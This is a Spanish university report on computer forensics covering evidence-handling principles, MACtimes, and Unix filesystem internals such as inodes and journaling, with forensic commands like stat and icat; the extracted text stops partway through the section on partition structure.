Download pdf - La Informatica Forense

(6669) CRIPTOGRAFIA Y SEGURIDAD

I NFORMÁTICA .

Trabajo Práctico

Informática Forense.

Alumnos: Acosta Gonzalo (81885)

Altieri Andrés (81385)

Rodriguez Gabriel (81503)

Rossi Eduardo (81559)

Docentes: Ing. Hugo Pagola

Ing. Estrada Verónica

Índice.

1. Introducción.................................................................................4

1.1. Informática Forense .......................................................................................5

1.2. Principios forenses..........................................................................................6

1.3. Evidencia Digital.............................................................................................6

1.4. Metodología de Trabajo para el análisis de los datos..................................7

1.4.1. La identificación de la evidencia digital ...................................................8

1.4.2. La extracción y preservación del material informático..........................9

1.4.3. El análisis de datos ...................................................................................10

1.4.4. La presentación del dictamen pericial....................................................11

2. Nociones teórico-prácticas sobre un sistema UNIX...............14

2.1. Registros temporales ....................................................................................14

2.1.1. MACtimes.................................................................................................14

2.1.2. Registros de redes y DNS.........................................................................17

2.1.3. File systems con journaling y MACtimes...............................................18

2.2. File System en UNIX ....................................................................................19

2.2.1. File System Virtual (VFS) .......................................................................19

2.2.2. Nombres de archivos y directorios. Tipos de archivos. ........................20

2.2.3. Aspectos internos del File System...........................................................21

2.2.4. Estructura de una partición UNIX.........................................................24

3. Análisis de un caso real.............................................................26

3.1. Recolección de Información Volátil ............................................................26

3.1.1. Fecha y hora del sistema..........................................................................27

3.1.2. Conexiones activas y puertos abiertos....................................................27

3.1.3. Procesos, y archivos y puertos a los que están accediendo. ..................28

3.1.4. Tablas de ruteo.........................................................................................29

3.1.5. Módulos del kernel cargados en memoria .............................................30

3.1.6. Filesystems montados ..............................................................................30

3.2. Recolección de Información No Volátil ......................................................30

3.2.1. Versión del Sistema Operativo y nivel de parches ................................30

3.2.2. MAC times y hash del filesystem............................................................31

3.2.3. Usuarios conectados actualmente, e históricos......................................32

Grupo 3 1º Cuatrimestre - 2007 Tp: Informática Forense

Universidad de Buenos Aires - Facultad de Ingeniería 3

3.2.4. Logs del sistema........................................................................................33

3.2.5. Cuentas de usuario...................................................................................33

3.2.6. Histórico de los usuarios..........................................................................33

3.3. Duplicación Forense .....................................................................................35

3.3.1. DD..............................................................................................................35

3.3.2. DD Rescue.................................................................................................35

3.3.3. DDFLDD...................................................................................................36

3.4. Conclusiones .................................................................................................36

4. Anexo..........................................................................................38

4.1. Fragmentos de Informes Periciales. Ejemplos...........................................38

4.2. Herramientas para el Análisis Forense. .....................................................39

5. Bibliografía ................................................................................41

1. Introducción.

El análisis forense de un sistema involucra primeramente la recopilación de información dispersa

en todo el sistema y posteriormente un análisis de la misma; mientras más completa y precisa resulte

dicha información, más verídico será el análisis realizado. La adecuada conservación de la

información del sistema original cumple un rol fundamental en la investigación, de modo que el

procesamiento de la misma debería llevarse a cabo sobre una copia de los datos del sistema original.

Disponer de una copia exacta de todo el sistema es el objetivo ideal de la recopilación, pero esto es

en sí imposible dado que en el proceso de recolección otros usuarios o programas pueden disparar

cambios en el sistema, destruyendo parte de la evidencia. Aún más, la perdida de la información

podría ser causada por una trampa dejada por algún intruso o persona mal intencionada, o

simplemente por cualquier programa que se ejecute. Por este motivo las técnicas forenses

tradicionales se han centrado en apagar los sistemas y realizar un análisis sobre la información que

persista: logs de programas, tiempos de acceso, contenidos de archivos, etc. Esto facilita la captura

de la información y el establecimiento de una línea de tiempo irrefutable.

Deben tomarse numerosas precauciones y cuidados en caso de tomar información de un sistema

en funcionamiento. En general, el sistema debe aislarse y deben recuperarse los datos siguiendo su

orden de volatilidad (OOV), es decir, de acuerdo a su expectativa de vida media dentro del equipo.

Respetar este orden aumenta las probabilidades de salvar los datos más efímeros (en caso de que sean

los que nos interesan). Con respecto a esto debemos mencionar que no es posible registrar todos los

cambios que ocurren en procesos o archivos en tiempo real, pues al tomar datos de un sector se

modifican en otro (algo similar a un principio de incertumbre).

Otro aspecto fundamental a la hora de realizar un análisis es determinar la confiabilidad de la

información. Cualquiera de los distintos sectores de un sistema podría ser modificado para reflejar

datos falsos; en general, cuantas más fuentes haya y cuanto más independientes sean, más certeza

habrá respecto de la veracidad de las mismas. Cuando nos referimos a fuentes de información

queremos indicar cualquier elemento que pueda aportar elementos para la reconstrucción de un

suceso en un sistema, ya sean logs de red, entradas en el journal, MACtimes de archivos, dumps de

memoria, etc.

La destrucción de la información dentro de un sistema es algo complicado; por ejemplo, la

información contenido en un archivo borrado persiste hasta que sea sobrescrita por uno nuevo. En

sistemas de archivos con un clustering eficiente los datos pueden persistir por años, aunque más no

sea parcialmente. A medida que aumenta el grado de abstracción de las capas del sistema,

encontramos más información remanente, aunque su significado está más oculto, es más ambiguo.

Haciendo una analogía con el mundo real pueden clasificarse los procesos que ocurren en un

ordenador en dos grupos. Por un lado identificamos procesos de tipo arqueológico, que son el

resultado de la acción directa de un ser humano sobre la computadora; por ejemplo, el contenido de



archivos, registros de acceso, registros de tráfico de red. Por otro lado, al hacer referencia a los

procesos geológicos nos referimos a los procesos autónomos del sistema, aquellos sobre los que los

humanos no tiene control alguno, como la asignación y el reciclado de bloques de memoria, la

asignación de ID para archivos o procesos. Los procesos de tipo geológico destruyen las evidencias

arqueológicas que quedan en el sistema, es decir, los procesos autónomos sobrescriben los datos que

pueden haber quedado almacenados por el accionar de una persona.1

1.1. Informática Forense

Las técnicas forenses son aquellas que surgen de una investigación metódica para reconstruir

una secuencia de eventos. Las técnicas de forense digital son el arte de recrear que ha pasado en un

dispositivo digital. Existen dos aspectos principales sobre los cuales trabajar:

Lo que hace un usuario en su equipo,

• Recuperación de archivos eliminados

• Desencriptación elemental

• Búsqueda de cierto tipo de archivos

• Búsqueda de ciertas frases

• Observación de áreas interesantes del computador

Lo que hace un usuario remoto en otro equipo,

• Leer archivos de registro

• Reconstruir acciones

• Rastrear el origen

• Análisis de conexiones desde o hacia el host

La informática forense hace entonces su aparición como una disciplina auxiliar de la justicia

moderna, para enfrentar los desafíos y técnicas de los intrusos informáticos, así como garante de la

verdad alrededor de la evidencia digital que se pudiese aportar en un proceso legal.

1 Clasificasión propuesta en el libro Forensic Discovery por los autores.



1.2. Principios forenses

Existen un gran número de principios básicos que son necesarios independientemente de si se

está examinando un ordenador o un cadáver. Estos principios son:

• Evitar la contaminación : La esterilidad de los medios es una condición fundamental

para el inicio de cualquier procedimiento forense en informática, pues al igual que en la

medicina forense, un instrumental contaminado puede ser causa de una interpretación o

análisis erróneo de las causas de la muerte del paciente.

• Actuar metódicamente : El investigador debe ser el custodio de su propio proceso,

por tanto cada uno de los pasos realizados, las herramientas utilizadas (sus versiones,

licencias y limitaciones), los resultados obtenidos del análisis de los datos, deben estar

claramente documentados, de tal manera, que cualquier persona externa pueda validar y

revisar los mismos. Ante una confrontación sobre la idoneidad del proceso, el tener

documentado y validado cada uno de sus procesos ofrece una importante tranquilidad al

investigador, pues siendo rigurosos en la aplicación del método científico es posible

que un tercero reproduzca sus resultados utilizando la misma evidencia.

• Controlar la cadena de evidencia, es decir, conocer qui en, cuando y

donde ha manipulado la evidencia : Este punto es complemento del anterior. La

custodia de todos los elementos allegados al caso y en poder del investigador, debe

responder a una diligencia y formalidad especial es para documentar cada uno de los

eventos que se han realizado con la evidencia en su poder. Quién la entregó, cuándo, en

qué estado, cómo se ha transportado, quién ha tenido acceso a ella, cómo se ha

efectuado su custodia, entre otras, son las preguntas que deben estar claramente

resueltas para poder dar cuenta de la adecuada administración de las pruebas a su cargo.

Por evidencia entendemos toda información que podamos procesar en un análisis.

1.3. Evidencia Digital

La evidencia digital puede definirse como "cualquier información, que sujeta a una intervención

humana u otra semejante, ha sido extraída de un medio informático". En este sentido, la evidencia

digital, es un término utilizado de manera amplia para describir cualquier registro generado por o

almacenado en un sistema computacional que puede ser utilizado como evidencia en un proceso

legal.

La evidencia digital posee, entre otros, los siguientes elementos que la hacen un constante

desafío para aquellos que la identifican y analizan en la búsqueda de la verdad:

a. Volátil

b. Anónima



c. Posible duplicarla

d. Alterable y modificable

e. Susceptible de ser eliminada

Algunos ejemplos de evidencia digital podrían ser:

• El último acceso a un fichero o aplicación (unidad de tiempo)

• Un Log en un fichero

• Una cookie en un disco duro

• El up-time de un sistema (tiempo encendido)

• Un proceso en ejecución

• Archivos temporales

La recomendación RFC-3227 (http://www.faqs.org/rfcs/rfc3227.html) provee a los

administradores de sistemas algunas pautas a seguir en el aspecto de recolección de evidencias.

1.4. Metodología de Trabajo para el análisis de los

datos

En la actualidad existen varias metodologías de trabajo para la realización de análisis de datos.

Se presenta a continuación un modelo a seguir, elegido por la practicidad y eficiencia que ofrece

dicho enfoque metodológico2.

2 Fuente: El tratamiento de la Evidencia Digital.



Figura 1.1. Metodología de trabajo para análisis de dato3s.

1.4.1. La identificación de la evidencia digital

Identificar la evidencia digital representa una tarea caracterizada por distintos aspectos. Entre

ellos podemos mencionar el factor humano, que realiza los secuestros de material informático. En

muchos casos, la identificación y recolección de potencial evidencia digital es realizada por personal

que no cuenta con los conocimientos adecuados para llevar acabo las tareas en cuestión (por ejemplo

un allanamiento policial, o un administrador no instruido).

La omisión de algunos aspectos técnicos puede llevar a la perdida de datos probatorios o a la

imposibilidad de analizar cierta información digital. A modo de ejemplo podemos mencionar el

secuestro de terminales durante un allanamiento omitiendo traer el servidor; o apagar las

computadoras eliminando la posibilidad de realizar un análisis sobre ciertos elementos volátiles

(registros, procesos, memoria, estado de la red). Por otra parte, el desconocimiento puede llevar a que

se causen perjuicios innecesarios a la persona/entidad investigada, como un secuestro masivo de

equipamiento informático o de material irrelevante para la investigación.

Otro aspecto crítico relativo a la identificación de la evidencia digital se refiere a la correcta

rotulación y detalle de los elementos informáticos. Sucede con frecuencia que durante un

procedimiento judicial no se etiquetan todos los elementos secuestrados. Si no se toman ciertos

recaudos durante el allanamiento, y se verifica que se dispone en el laboratorio pericial de la

tecnología necesaria, el faltante de algún elemento puede retrasar o impedir la realización de la

investigación. Asimismo, debe precintarse todo el material informático que sea susceptible de ser

abierto o alterado. Pasar por alto este punto posibilita reclamos por faltantes una vez devuelto el

material secuestrado.




Figura 1.2. Elementos para la identificación de la evidencia

1.4.2. La extracción y preservación del material informático

Extraer y Preservar el material informático durante los secuestros implica considerar la

fragilidad de los medios de almacenamiento de datos y la volatilidad de la información. Sobre este

aspecto, cabe destacar que existe una gran falencia en lo que se conoce como “Cadena de Custodia”,

cuyo objetivo consiste en mantener el registro de todas las operaciones que se realizan sobre la

evidencia digital en cada uno de los pasos de investigación detallados. Si al realizar un análisis de

datos se detecta que la información original ha sido alterada, la evidencia pierde su valor probatorio.

Las cuestiones inherentes al transporte de la evidencia digital no son menos importantes. Es

común que los elementos informáticos a periciar lleguen sin los más mínimos resguardos.

Usualmente, el secuestro de material informático tiene un tratamiento muy similar al de otros

elementos –armas, papeles contables, etc.- y no se le da el cuidado que realmente merece, pudiendo

algún golpe ocasionar roturas en el equipamiento informático. Debe considerarse además que la

información digital es sensible a la temperatura, y en algunos casos a los campos electromagnéticos.

Por último, preservar implica los aspectos técnicos relativos a la no alteración (integridad) de la

evidencia original. La utilización de algún software que genere un valor hash a partir de un conjunto

de datos es de gran ayuda. Existen diferentes algoritmos para calcular un checksum criptográfico

seguro o valor resumen hash (SHA-1, MD5), estos algoritmos son muy utilizados por las

herramientas forenses. Para realizar copias de la evidencia original debe usarse algún software

forense que realice una imagen a nivel de bit-stream y no una simple copia de archivos, en la que se

pierde información que puede ser usada como potencial evidencia. Asimismo, debe quedar claro que



aunque por principio general se debe trabajar sobre imágenes de la evidencia original, sólo el perito

podrá determinar cuando debe o no aplicarse este tipo de medida.

En muchos casos resulta impracticable realizar copias de la evidencia original por impedimentos

técnicos u otras razones de tiempo y lugar. En estos casos se deberán extremar las precauciones

durante la investigación, siempre aplicando técnicas de análisis de datos no-invasivas y utilizando

todas las herramientas forenses que estén al alcance, a fin de no alterar la evidencia.

Figura 1.3. Elementos para la preservación de la evidencia

1.4.3. El análisis de datos

Analizar involucra aquellas tareas referidas a extraer evidencia digital de los dispositivos de

almacenamiento. Una de las claves a la hora de analizar es la localización de información específica

vinculada con una determinada causa. La experiencia demuestra que en muchos casos, el análisis de

datos requerirá un trabajo interdisciplinario entre el perito y el operador judicial -juez, fiscal- que

lleve la causa, a fin de determinar aquellas palabras clave (keywords) que son de interés para la

investigación.

En casi la totalidad de los casos el análisis de datos se realiza sobre sistemas operativos

Windows y Unix. En el primero de ellos, se debe profundizar en aspectos técnicos del sistema de

archivos NTFS, ya que es utilizado por las últimas versiones. NTFS almacena atributos de archivos y

directorios en un archivo del sistema llamado MFT (Master File Table) y escribe los datos en



espacios llamados clusters. Los atributos de mayor interés para el investigador forense son: el

nombre del archivo, MAC Times (fecha y hora de la última Modificación, Acceso o Cambio de un

archivo) y los datos (si el archivo es suficientemente pequeño) o la ubicación de los datos en el disco.

Asimismo, el archivo utilizado como memoria virtual del sistema operativo (Swap file), el espacio

libre que puede quedar entre un archivo y el cluster en el cual reside (Slack space), la papelera de

reciclaje (Recycle bin), clusters que contienen parte que los archivos borrados (Unallocatable space),

los accesos directos, los archivos temporarios y los de Internet, son algunos de los elementos sobre

los que se realiza habitualmente el análisis de datos. Por otro lado, un examen del registro de

Windows permite conocer el hardware y software instalado en un determinado equipo.

El análisis sobre sistemas Unix es similar al de Windows, ya que se investiga sobre los

elementos citados precedentemente. Unix utiliza el concepto de nodos índices (i-node) para

representar archivos. Cada i-node contiene punteros a los datos en el disco, así como también los

atributos del archivo. Los datos se escriben en unidades llamadas bloques (blocks) siendo un

concepto análogo a los clusters de Windows. En Unix todo es tratado como un archivo, y puede estar

almacenado en formato binario o texto.

Figura 1.4. Elementos para el análisis de la evidencia

1.4.4. La presentación del dictamen pericial

Presentar consiste en elaborar el dictamen pericial con los resultados obtenidos en las etapas

anteriores.

A nivel nacional, los dictámenes periciales relacionados con la informática han tenido un

importante incremento a partir de 1995. Inicialmente, dichas tareas fueron canalizadas únicamente a



través de la Policía Federal, Provincial o de Gendarmería Nacional4. En los últimos años, la

complejidad de la materia ha requerido que las pericias informáticas sean tratadas

interdisciplinariamente.

Por otra parte, cabe recordar que en nuestra legislación el valor probatorio de la evidencia digital

ha tenido hasta la fecha escasa o casi nula recepción legislativa y se cuenta con pocos antecedentes

jurisprudenciales. Es sabido que el documento electrónico para la ley vigente argentina, constituye

tan sólo “principio de prueba por escrito", lo que genera numerosos inconvenientes a la hora de

determinar la eficacia probatoria de los elementos informáticos y su interpretación a través de los

dictámenes periciales. Teniendo en cuenta que nuestra ley penal data de 1921, es claro que la misma

no pueda receptar con facilidad los adelantos tecnológicos, dando lugar a situaciones de duda.

La eficacia probatoria de los dictámenes informáticos radica fundamentalmente en la

continuidad del aseguramiento de la prueba desde el momento de su secuestro. Realizado ello en

debida forma es poco probable que, si la investigación preliminar se dirigió correctamente, el

material peritado no arroje elementos contundentes para la prueba del delito.

Expuesta la situación actual en materia de pericias informáticas, interesa conocer cómo debe

realizarse un dictamen pericial sobre análisis de datos, de manera tal que sea objetivo, preciso y

contenga suficientes elementos para repetir el proceso en caso de ser necesario.

La estructura básica de cualquier informe atendería al siguiente esquema:

• Antecedentes (Solicitante, encargo profesional o tipo de trabajo. Situación. Redactor)

• Documentos facilitados, recopilados y examinados (Proyectos, expedientes

administrativos, contratos, escrituras, datos registrales, etc.)

• Inspecciones realizadas (Pruebas requeridas en función del material a analizar y del

tipo de daño a valorar).

• Metodología del informe (Se expondrán los criterios que se han seguido para su

elaboración).

• Dictamen (Por ultimo, deberá completarse junto con el apartado de conclusiones, que

recogerá de modo resumido los aspectos más determinantes del trabajo).

• Anexos (Este apartado estará compuesto por los diferentes documentos obtenidos en

las investigaciones: fotografías, resultados de los análisis, documentación relevante

como prueba, normativa infringida, etc.).

En el anexo I se exponen algunas consideraciones esenciales, ilustradas con fragmentos

extraídos de casos reales de trabajos periciales que han requerido realizar análisis de datos.




Figura 1.5. Presentación de la pericia

Figura 1.6. Presentación del dictamen pericial.



2. Nociones teórico-prácticas sobre un sistema

UNIX

A continuación se presentan algunas características del sistema operativo Unix. Con ellas se

podrá llevar a cabo el análisis forense pues la información que se pueda recolectar servirá como

evidencia durante el proceso de investigación.

2.1. Registros temporales

En esta sección comentaremos diversas fuentes de información disponibles en un sistema que

permiten reconstruir una línea de tiempo de sucesos ocurridos. En general eventos individuales

pueden no tener un significado o importancia en forma aislada, pero considerados en secuencia

puede situarlos en un contexto propicio para que cobren sentido. En esta sección nos referiremos

específicamente a tres fuentes de información temporal: MACtimes, registros de red y DNS servers,

y MACtimes del file system.

Algunas fuentes deregistros de tiempo

MACtimes

Registros detráfico de red yDNS Servers.

Registros propiosdel file system

(journal)

Figura 2.1. Fuentes básicas de registros de tiempo.

2.1.1. MACtimes

Constituyen uno de los recursos más simples de entender y emplear en una investigación.

MACtimes es una forma abreviada de referirse a tres atributos de tiempo que poseen los archivos en

sistemas de archivos UNIX, Windows y otros:

• Mtime: se refiere a la última vez que el contenido de un archivo fue modificado.

• Atime: se refiere a la última vez que un archivo o directorio fue accedido.



• Ctime: se refiere a la última vez que se modificó el metacontenido del archivo (dueño,

grupo, permisos, etc.). Ctime también puede usarse como un estimativo de cuándo un

archivo fue borrado.

Una de las limitaciones fundamentales es que se refieren solamente a la última vez que se que se

interactuó con cierto archivo; es prácticamente imposible recuperar los MACtimes antiguos.

Existen distintas herramientas para conocer los MACtimes; algunas de ellas como el comando ls

vienen con el sistema operativo, y otras como el comando mactime del Coroner’s Toolkit son

específicamente diseñadas para esa tarea.

Debe tenerse especial cuidado de no modificar los MACtimes de los archivos de un sistema

comprometido mientras intenta salvaguardarse la información. Por ejemplo, acceder a un directorio

modifica su atime, copiar o leer un archivo también lo hace. Hacer un backup de la información antes

de relevar los MACtimes lleva a que todos los MACs se actualicen y se pierda información valiosa.

Entre las limitaciones principales que podemos mencionar de los MACtimes mencionaremos:

• Son relativamente simples de perder si no se toman las precauciones necesarias.

• No puede verse la historia previa de los archivos, sólo la última vez que se modificó

algún aspecto del mismo.

• No puede verse quien realizó la acción, solamente el resultado.

• En sistemas multiusuario es difícil separar la actividad del intruso de la de los usuarios.

• A veces la acción del intruso es similar a la de los usuarios y no puede distinguirse con

MACtimes.

• Pueden falsearse: por ejemplo en UNIX el comando touch permite modificar los atimes

y mtimes de los archivos.



MACtimes

Mtime: última modificación de contenido

Ctime: última modificación de metacontenido

Ventajas

Aportan informaciónvaliosa

Fáciles de obtener yutilizar

Limitaciones

Sólo últimamodificación

Fácilmenteperdibles

No se sabe quién realizala acción

Fácilmentefalseables

Atime: último acceso (archivos y directorios)

Figura 2.2. Conceptos básicos de MACtimes.

En Linux, Solaris u OpenBSD el comando ls permite averiguar MACtimes de archivos. También

podrían emplearse los comandos stat o el comando mactime perteneciente al Coroner’s Toolkit. A

continuación indicamos algunos ejemplos:

Función Sintaxis básica Ejemplo Determinar Mtime ls –l f i lename ls – l /etc/passwd Determinar Atime ls - lu f i lename ls –lu /etc/passwd Determinar Ctime ls - lc f i lename ls –lc /etc/passwd

stat f i lename stat /etc/passwd Determinar MACtimes mact ime –d directorio fecha1-

fecha2 mactime –d /etc 01/04/2007-05/13/2007

Tabla 2.1. Averiguación de MACtimes con el comando ls en Linux.

El comando mactime es el más cómodo cuando se trata de varios archivos y el comando stat el

más cómodo cuando se trata de uno solo.



En la siguiente tabla se presenta a modo de ejemplo, cómo un la ejecución de comandos

habituales puede afectar los MACtimes de archivos o directorios5:

Directorios Acción Mtime Atime Ctime

Crear (mkdir foo) x x x Mover (mv foo bar) x x

Crear archivos (touch /foo/foo) x x Listar (ls foo) x

Cambiar de directorio (cd foo) Cambio de permisos (chmod/chown <perm> foo) x

Copia (mv foo_mvd foo) x x Edición de archivos (vim/emacs foo) x x

Archivos Acción Mtime Atime Ctime

Crear (touch foo) x x x Renombrar (mv foo bar)

Cambio de permisos (chmod <perm> foo) x Copia (cp foo bar) x

Copia con sobrescritura (cp foo bar) x x Agregar (cat >>foo) x x

Sobrescribir (cat>foo) x x Listar (ls foo)

Editar (vim/emacs foo) x x x

Tabla 2.2. Ejemplos de cambio de MACtimes por operaciones sobre archivos y directorios.

2.1.2. Registros de redes y DNS

En general el tráfico de una red es demasiado voluminoso como para almacenar toda la

información que circula. Lo más habitual es conservar logs de las conexiones y estadísticas que se

relevan en tiempo real. Esta información puede ser muy útil a lo de hora de preparar una línea de

tiempo.

Otra fuente posible de información temporal son los DNS Servers. En general dichos servers

tienen varios tipos de registros, de los cuales los más comunes son los PTR (pointer records,

encargados de traducir una dirección IP a un host name), A (address records, que traducen el nombre

de una computadora a una dirección IP) y los MX (mail exchange records, que indican a los agentes

de correo donde enviar los e-mail).

5 Extraído de http://www.securityfocus.com/infocus/1738.



Registros principalesde un DNS Server

PTR: traducen unaIP a un hostname.

A: traducen elnombre de una PC a

un dirección IP.

MX: permitendireccionar el

e-mail

Figura 2.3. Registros principales de un DNS Server.

El daemon DNS standard de UNIX que se llama Bind, conserva un cache en memoria donde se

almacenan las búsquedas recientes. Si bien no guarda el momento exacto en que realizó cada

búsqueda, sí conserva el tiempo que resta para que se descarte dicha entrada del cache (TTL, time to

live). Conociendo el tiempo inicial de los archivos al ingresar al cache se podría conocer

aproximadamente en que momento se hizo la búsqueda (asumiendo que en el medio no haya

cambiado el TTL).

2.1.3. File systems con journaling y MACtimes

La característica fundamental de los file system con journaling es que algunos o todos los

cambios del disco rígido son almacenadas en un archivo (journal) antes de ser ejecutados. Una de sus

ventajas principales es que pueden recuperarse de un error en forma más rápida, pues pueden volver

a realizarse los pasos registrados en el journal en vez de tener que recorrer todo el disco rígido

buscando inconsistencias (como ocurre con otros file system). En general de dos tipos: aquellos que

sólo almacenan metadata, y otros que almacenan datos y metadata. Los MACtimes del journal, a

diferencia de los otros, permiten observar el acceso repetido a un archivo a lo largo del tiempo.

En el caso de Ext3fs el journal se almacena como un archivo común dentro del disco rígido, con

la salvedad de que no está referenciado por ningún directorio. El tamaño máximo del journal es de

32Mb de modo que debe rescatarse su contenido en forma rápida antes de que se pierda información.

Para conocer su ubicación en Linux puede usarse el comando tune2fs que indica el i-nodo que

contiene la información del archivo (ver próxima sección). El comando icat del Coroner’s Toolkit

puede emplearse para salvar sus contenidos y en Linux el comando debugfs puede emplearse para

examinarlo en detalle. En la sección dedicada a la estructura del File system se presentarán algunos

ejemplos al respecto.



2.2. File System en UNIX

Existen numerosos file system en UNIX, casi todos basados en el Fast File System (FFS)

diseñado en 1974 por Ritchie y Thompson.

Todos los directorios están organizados en un árbol de directorios y dependen de un directorio

principal. Las ‘hojas’ o ‘nodos’ del árbol están separados por ‘/’ y tienen nombres como /home/user.

No existen nombre de unidades (C:/) o hostnames; aun periféricos como impresoras, memoria, y los

mismos discos son accedidos como archivos del file system.

Un mismo disco puede contener varios file system distintos y el árbol de directorios puede

construirse con múltiples particiones de un disco. Para hacer que un archivo en un disco esté

disponible debe ser montado en algún directorio del file system mediante, por ejemplo, los comandos

mount/umount. Una manera de ocultar información es la de montar dos file system en un mismo

punto, uno encima del otro; esto hace que el primero en montarse no pueda ser accedido mediante los

comandos habituales para tal fin (por ejemplo, cd). Esto se debe a que dichos comandos interrogan al

sistema operativo acerca de los directorios montados en cierto punto, y éste último devuelve la

información del último montado y no reconoce al primero. Para poder acceder al otro file system ese

necesario emplear herramientas que dupliquen parte de su funcionalidad y permitan acceder a la

información por via directa.

Otra forma de ocultar información consiste en no montar un file system en ningún punto. En

Linux puede conocerse qué File System se encuentran montados tipeando df en la línea de comando.

Además, ingresando:

fd isk –l dispositivo

pueden visualizarse las particiones que hay en el dispositivo.

2.2.1. File System Virtual (VFS)

La interacción entre los procesos de los usuarios y el hardware se produce por medio de las

llamadas al sistema (system calls) que se realizan al núcleo (kernel) del sistema operativo. El sistema

operativo Linux posee una capa llamada File System Virtual dentro del kernel que se emplea en las

llamadas a sistema vinculadas con el acceso a archivos. La siguiente Figura ilustra el modo en que

varios File System pueden convivir dentro del sistema operativo Linux y la forma en que los

procesos de usuario leen y escriben unidades físicas.



Procesos de usuario

Interfaz para llamadas al sistema

File System Virtual

Ext2fs Ext3fsDOSfs

Buffer

Drivers de dispositivo

Controlador de disco

Kernel

Request de I/O

Llamada al sistema

Hardware

Figura 2.4. Estructura de File System Virtual para el acceso a disco en Linux.

2.2.2. Nombres de archivos y directorios. Tipos de archivos.

Los nombres de archivo están almacenados en directorios y pueden contener cualquier carácter a

excepción de ‘/’ o NULL. El Standard POSIX6 define un largo máximo mínimo de 255 bytes para

nombres de archivos, que es el límite para las implementaciones más usuales de Ext3fs y otros.

Los nombres de directorios se construyen con strings separados por ‘/’. Si bien en principio los

directorios y los pathnames de archivos pueden ser de un largo arbitrario, hay un límite para el

pathname que se indica cuando uno accede a un archivo. Por ejemplo para Linux puede ser de hasta

4096 bytes. En operaciones habituales, dicha restricción es rara vez una preocupación.

Sin embargo, en algunos casos provee oportunidades para ocultar información o evitar que ciertos

programas funcionen correctamente. El problema principal es que reduce la funcionalidad de muchos

programas que se estructuran sobre llamadas al sistema que poseen limitaciones de largo (por

ejemplo para acceder o buscar en cierto directorio).

Desde el punto de vista del usuario, el file system UNIX está constituido por un conjunto de

directorios y archivos de distinto tipo. En realidad, para UNIX los directorios son considerados como

un tipo más de archivo, con la salvedad de que deberían modificarse utilizando comandos como

6 POSIX es un acrónimo de Portable Operating System Inteface; la X proviene de UNIX. Es una familia de standards de llamadas al sistema operativo (system calls) definidos por la IEEE y especificados en el IEEE 1003. Permiten generalizar las interfaces de los sistemas operativos para que una misma aplicación pueda ejecutarse en distintas plataformas.



chgrp. Lo mismo ocurre con los dispositivos físicos como memoria, impresoras, etc. que constituyen

los llamados Device Files. La siguiente figura resume los tipos de archivos más habituales que

pueden encontrarse:

Tipos de archivosUNIX

Archivos comunesEl tipo más habitual. Contienen datos o software.

DirectoriosTambién son archivos pero deben modificarse a

través de primitivas (no directamente)

Links simbólicosAlias para un archivo o

directorio.

IPC EndpointsDentro del file system,

comunican dos procesosde una misma máquina.

Device filesPermiten acceder al hardware.

Block devicesAcceden a los datos por medio de la estructura de

bloques que use el medio físico. Usan buffering en elkernel. Algunos también tiene interfaz Character.

Character devicesPermiten el acceso por bytes a un dispositivo.

En general no tienen buffer en el kernel pero pueden.Ejemplo: memoria, impresoras,

Figura 2.5. Tipos principales de archivos UNIX.

2.2.3. Aspectos internos del File System.

Un directorio UNIX está organizado como una secuencia de entradas desordenadas que poseen

dos elementos: un nombre y un número. El nombre es lo que emplean los usuarios humanos para

acceder al archivo, y el número es un índice en una tabla de bloques de i-nodos, que contiene la

información referente al archivo y referencias a la posición física de la información en el disco.



La siguiente Figura sirve a modo de ejemplo:

Archivo Inodo

foo 123bar 459

otros...

Directorio /home/pepe

dueño/ID de grupo

permisostipo de archivo

Referencia a datos

otros...

Inodo 123

datos

datos

datos

Bloques de datos

Figura 2.6. Ejemplo de la estructura de archivos del file system.

El I-nodo correspondiente a un archivo contiene una gran cantidad de información referente al

mismo. La siguiente Figura resume algunos de los más importantes:

Dueño.ID de dueño y grupo

al que pertenece.Tipo de archivo.

Directorios, archivoscomunes, dispositivos, etc.

Permisos.Los bits rwx asociados al dueño,

usuarios y otros, así comoset-uid, set-gid y sticky bit.

Numero de Hard Links.Numero de archivos que

referencian el Inodo.

Tamaño en bytes.Indica donde termina el

archivo (no hay caracteresde terminación).

MACtimes.Ext3fs además tiene un Deletion

time que indica cuando fueborrado un archivo.

Direcciones de datos enel disco.

(ver Figura siguiente).

Información típicade un Inodo

Figura 2.7. Información típica de un Inodo.

En Linux puede usarse el comando stat para leer el contenido de un inodo asociado a un archivo.

El Coroner’s Toolkit incluye las herramientas ils e icat que permiten leer el contenido de nodos y

leer los bloques de datos a los que hace referencia un nodo, respectivamente. Algunos ejemplos de

empleo de estos comandos son los siguientes:



Función Sintaxis básica Ejemplo Leer el contenido de un inodo stat filename stat /etc/passwd

Leer el bloque de datos asociado a un inodo

icat dispositivo inodo icat /dev/hda1 423

Tabla 2.2. Ejemplos de lectura de inodos y bloques de datos asociados

Los tres comandos leen directamente los Inodos por lo cual algunas técnicas para ocultar

información pueden no funcionar.

Por ejemplo, para salvar el journal de un File System podríamos hacer lo siguiente:

Comando Función tune2fs -l /dev/hda1 | grep -i journal Conocer el inodo del journal

icat /dev/hda1 8 >journalfile Envía el contenido del journal a un archivo7

Tabla 2.3. Ejemplo de salvado del journal de un File System.

El direccionamiento a la posición en el disco donde se encuentran los datos propiamente dichos

se realiza por medio de una estructura de bloques direccionamiento indirecto. Los primeros 12

bloques de datos que ocupa un archivo se direccional en forma directa. Si un archivo referenciado

por un inodo ocupa más de 12 bloques de datos, la dirección del bloque número 13 apunta a un sector

del disco específicamente asignado para almacenar direcciones de bloques de datos. Este sector se

llama Bloque de Direccionamiento Indirecto Simple (singly indirect block). Cuando se llena, el

registro 14 del inodo apunta a otro bloque de direcciones que se llama Bloque de direccionamiento

indirecto doble (doulby indirect block) que a su vez apunta a bloques de direccionamiento indirecto

simple. Los file system UNIX soportan hasta 3 niveles de direccionamiento indirecto.

7 El contenido debe enviarse a otro file system para evitar que el journal se destruya a si mismo con su propio contenido.



La siguiente Figura ilustra la estructura de direccionamiento de datos:

12

... ...

13

1036

... ...

1037

2060

... ...

2061

1

...

2

......

...

12...12131415

Punteros de un Inodo

Direccionamientosimple

Direccionamientodoble

Direccionamientotriple

...

...

...

Bloques de datos

Figura 2.8. Estructura de direccionamiento de datos dentro de un Inodo.

2.2.4. Estructura de una partición UNIX.

Una partición de UNIX típica está conformada por grupos de bloques del mismo tamaño. Cada

grupo está constituida por bloques cuyo tamaño varía de acuerdo al file system. Cada grupo contiene

cierta información redundante sobre la estructura del file system que le otorga mayor robustez y

seguridad. La siguiente Figura muestra la estructura típica:

Etiqueta Partición Partición Partición

Grupo debloques 0 ... Grupo de

